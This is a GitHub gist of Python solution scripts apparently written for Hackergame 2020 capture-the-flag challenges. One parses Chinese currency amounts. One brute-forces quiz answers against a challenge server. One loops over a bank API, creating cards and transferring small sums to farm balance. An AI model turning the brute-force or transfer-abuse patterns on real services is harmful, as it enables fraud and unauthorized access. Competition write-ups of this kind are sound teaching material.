Created
November 9, 2020 11:49
-
-
Save vifly/751221f27ba89f670b8f2c56b96c24a7 to your computer and use it in GitHub Desktop.
Hackergame 2020 writeup code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import cn2an | |
result = 0 | |
def remove_zero(amount: str) -> str: | |
if amount[0] == "零": | |
return amount[1:] | |
return amount | |
def parse_amount(amonut: str) -> float: | |
yuan = jiao = fen = 0 | |
if len(amount.split("元")) == 2: | |
yuan, other = amount.split("元") | |
yuan = cn2an.cn2an(remove_zero(yuan)) | |
else: | |
other = amount | |
if len(other.split("角")) == 2: | |
jiao, other = other.split("角") | |
jiao = cn2an.cn2an(remove_zero(jiao)) | |
if "分" in other: | |
fen = other.split("分")[0] | |
fen = cn2an.cn2an(remove_zero(fen)) | |
return int(yuan) + int(jiao) / 10 + int(fen) / 100 | |
with open("./bills.txt", 'r', encoding='gbk') as f: | |
lines = f.readlines() | |
lines = lines[1:] | |
for line in lines: | |
amount, count = line.split("\t") | |
amount = parse_amount(amount) | |
count = int(count) | |
result = result + amount * count | |
print(result) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
cookies = dict(session="") | |
def fuck(questions, answers): | |
data = {"q1": "1", "q2": "256", "q3": "9", "q4": "1", "q5": "17098"} | |
for index, question in enumerate(questions): | |
data[question] = answers[index] | |
r = requests.post("http://202.38.93.111:10001/", data=data, cookies=cookies) | |
if "flag{" in r.text: | |
print(r.text) | |
exit() | |
for i in range(6, 23 + 1): | |
for j in range(1, 30): | |
print(i, j) | |
fuck(["q1", "q4"], [str(i), str(j)]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
headers = {"Authorization": ""} | |
def transfer(src_num: int, dest_num: int, amount: int): | |
data = {"src": src_num, "dst": dest_num, "amount": amount} | |
r = requests.post( | |
"http://202.38.93.111:10100/api/transfer", json=data, headers=headers | |
) | |
def new_credit_card(): | |
data = {"type": "credit"} | |
r = requests.post( | |
"http://202.38.93.111:10100/api/create", json=data, headers=headers | |
) | |
def new_debit_card(): | |
data = {"type": "debit"} | |
r = requests.post( | |
"http://202.38.93.111:10100/api/create", json=data, headers=headers | |
) | |
def eat(card_num: int): | |
data = {"account": 1} | |
r = requests.post("http://202.38.93.111:10100/api/eat", json=data, headers=headers) | |
current_credit_card = 2 | |
current_debit_card = 0 | |
for i in range(75): | |
print(f"Running {i}") | |
new_credit_card() | |
for j in range(12): | |
new_debit_card() | |
current_debit_card = current_credit_card + 1 + j | |
transfer(current_credit_card, current_debit_card, 167) | |
transfer(current_credit_card, 1, 90) | |
current_credit_card = current_credit_card + 12 + 1 | |
for day in range(10): | |
eat(1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment